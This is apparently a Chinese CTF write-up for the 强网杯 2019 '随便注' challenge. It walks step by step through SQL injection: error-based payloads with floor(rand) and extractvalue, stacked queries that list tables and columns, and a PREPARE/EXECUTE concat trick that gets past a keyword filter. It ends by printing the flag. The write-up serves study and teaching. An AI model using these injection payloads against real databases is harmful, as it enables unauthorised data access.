[强网杯 2019]随便注 Writeup(超级详细)

原创

StevenOnesir 于 2020-11-23 14:43:45 发布 524 收藏 8

分类专栏： ctf

本文链接：https://blog.csdn.net/StevenOnesir/article/details/109957656

这道题应该算是非常熟悉、经典且基础的一道题目，在攻防世界、Buu等平台上非常常见，适合作为sql注入的入门学习题目。

作者说了一句：**开发和安全缺一不可。这也是我想说的。**

废话不多说，步入正题。

首先进入界面我们可以看到一个输入框，结合题目信息我们可以判断这就是注入点。

我们先输入：

```
1’
```

尝试一下。

果然出现了回显报错：

```
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server vers
ion for the right syntax to use near ''' at line 1
```

这里我们可以获取到两个关键信息。

首先是出现报错，说明逻辑层没有过滤好；

其次是这是MaraiDB的数据库，也是非常常见的数据库了。

然后我们继续换个姿势，看看是不是真的毫无过滤：

```
1' union select
```

果然出现了回显，竟然**直接回显了过滤的关键字符串。**

那这道题就不是盲注了，应该算是简单到极点的一道sql。

过滤字符如下：

```
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
```

连union都没有过滤。。引号也没有过滤。。。

过滤了一个 .，但是没啥关系。

好的，现在我们开始思考怎么构建注入语句。

我们的目标其实很简单：

得到数据库名、得到表名、得到列名、得到flag，这也是常见思路。

下面我们开始注入。

首先随手试一下大小写绕过。

```
1' union SeleCt
```

发现仍然出现正则回显，说明没用。
没用的原因是在正则代码里用了/i，表示不区分大小写，所以大小写绕过是注定没用的。
那么我们该如何应对这道题呢？
这里用到两个知识点：
报错注入与堆叠注入。
首先是报错注入。
报错注入有很多种姿势，其实核心原理就是利用**sql内部的规则让其出现错误回显**，在sql注入越来越受到重视的当下，很多服务器与网页的报错都被屏蔽了回显，这时候报错注入能发挥一定作用。
这里我们用floor()函数举例：
payload:`select count(*),concat(floor(rand(0)*2),(select version()))x from users group by x`
这里的核心原理就在于group by，**它执行的底层原理是将group by后面的字符作为主键在表中查询，如果查询不到就直接插入一个新的列。**
但是不能够重复！！！！
这里的奥妙就在于group by会执行两次计算，第一次对比，第二次插入。

floor(rand(0)*2)会生成稳定的0110110。
所以第一次执行，0无插入的时候又执行了第二次计算得到1，最后插入1；第二次执行插入的时候有1，所以直接++即可，不需要进行第二次计算；第三次执行的时候是0，因为表中无所以执行第二次计算并插入，但第二次计算后上述结果又变成了1，与原先已经存在的1重复，实现成功报错回显。又因为我们的select version()语句，**所以我们就得到了该数据库的版本号。**
然后我们再了解一下报错注入同样非常常见的另一个函数：**extractvalue()。**
先上payload:

```
select extractvalue(11,concat('~',(select database())))
```

这种报错注入的手段原理也非常简单，extractvaluea函数本身的作用很好理解，**一共有两个参数，第一个参数是传入目标xml文档，第二个参数是用Xpath路径法表示的查找路径。**
可能会有小伙伴会问啥是Xpath路径表示法，其实这只是一种路径查找的表示方法，比输入绝对/相对路径更为方便，例如可以输入aa/bb[1]查找b下的第一个元素，aa/bb[last()]查找bb下的最后一个元素。
想深入了解的小伙伴可以看下面链接。
Xpath表示法
回归正题。上面payload中我们输入的两个参数实际上都是非法的，所以会导致报错。**但是由于里面有一句select database()，所以回显说明错误的语句中就会返回真实数据库的名字，我们就得到了数据库名这一关键信息！！！**
至于堆叠注入也好理解。
其实就是用分号分隔命令，也类似linux里面命令的联合执行而已。
payload：`1';union select ***`
分号隔开同时执行多个命令就是堆叠注入，没啥别的。。。。
好的，我们再次回归到这道题本身。
我们首先使用我们上面提到的报错注入。
payload：`1' and extractvalue(11,concat('~',database()))#`
这个系列的文章特点就是讲的很细，虽然题目简单，但是会穿插讲很多知识。
现在我们剖析一下这一句：

```
concat('~',database())
```

可能有人会问，为啥要用'~'连接？？
首先我们先了解一下concat函数，它的返回结果是拼接好的字符串，这里database()本身是一个函数，所以在拼接过程中就已经转换成了真实的数据库名字。而这里只要不是输入abc一类的字符，而是！、~以及数字之类的字符，都能正确回显拼接名。
我们上面的payload获得的回显是：

```
error 1105 : XPATH syntax error: '~supersqli'
```

所以我们获得了数据库名为：**supersqli**。
而#好理解吧，就是把后面的东西注释掉。。。
下一步我们就可以利用堆叠注入
在数据库supersqli中查询所有表名。
payload:`1';use supersqli;show tables;#`
上面的语句从英语角度来讲应该非常好理解。。就不解释了。
然后我们获得回显：

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
```

下一步我们搞列名。
payload:`1';use supersqli;show columns from '1919810931114514';#`
这里需要注意的是我们from后面跟的table名需要用``包裹，**`符号是Esc键下面那个，不是普通引号。**
师傅们可以注意一下~~

原因是sql中有一些保留字，当你的column是它的保留字时，sql语句不加 `` 就会报错。
然后我们获得了新的回显：

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

很明显看到了flag，已经胜利在望！！！

这里我们再用一个小小的骚手段：
PREPARE语句与EXCUTE语句。

这里再补充讲一下，sql语句分为即时sql(Immediate Statements)与预处理sql，我们在这里如果想绕过select的过滤，就需要用到concat函数，但是concat函数的外面需要套一层新函数来让它得到执行，不然直接输入不会出现预期回显。
所以这里我们就用到了PREPARE预处理语句。至于EXECUTE很好理解，就是执行我们写好的预处理语句的命令。
所以我们构造payload:`1';use supersqli;set @sql=concat('se','lect 'flag' from '1919810931114514'');PREPARE hack1 FROM @sql;EXECUTE hack1;#`
最后就得到了我们的falg回显：

```
flag{9c6e5379-dc7b-4e10-a092-4bf62fb16d7d}
```

1:因为CSDN代码块的限制，我在flag 与 1919810931114514 上加的是引号，应该改成我上面说的那个符号；
2:已经解释过了PREPARE、EXECUTE、concat语句，注意语法结构；
3:整体解释一下上面语句的逻辑，先用set语句为@sql赋值，这里set命令的作用是为已存在的变量赋值，sql变量必须以@开头。赋值完成后就上PREPARE语句预处理，最后用EXECUTE语句执行我们的hack1，逻辑非常清楚。
4:可以好好理解一下这道题体现的堆叠注入原理。

涉及知识点：
报错注入
堆叠注入
sql语句的预处理等

题目难度：
简单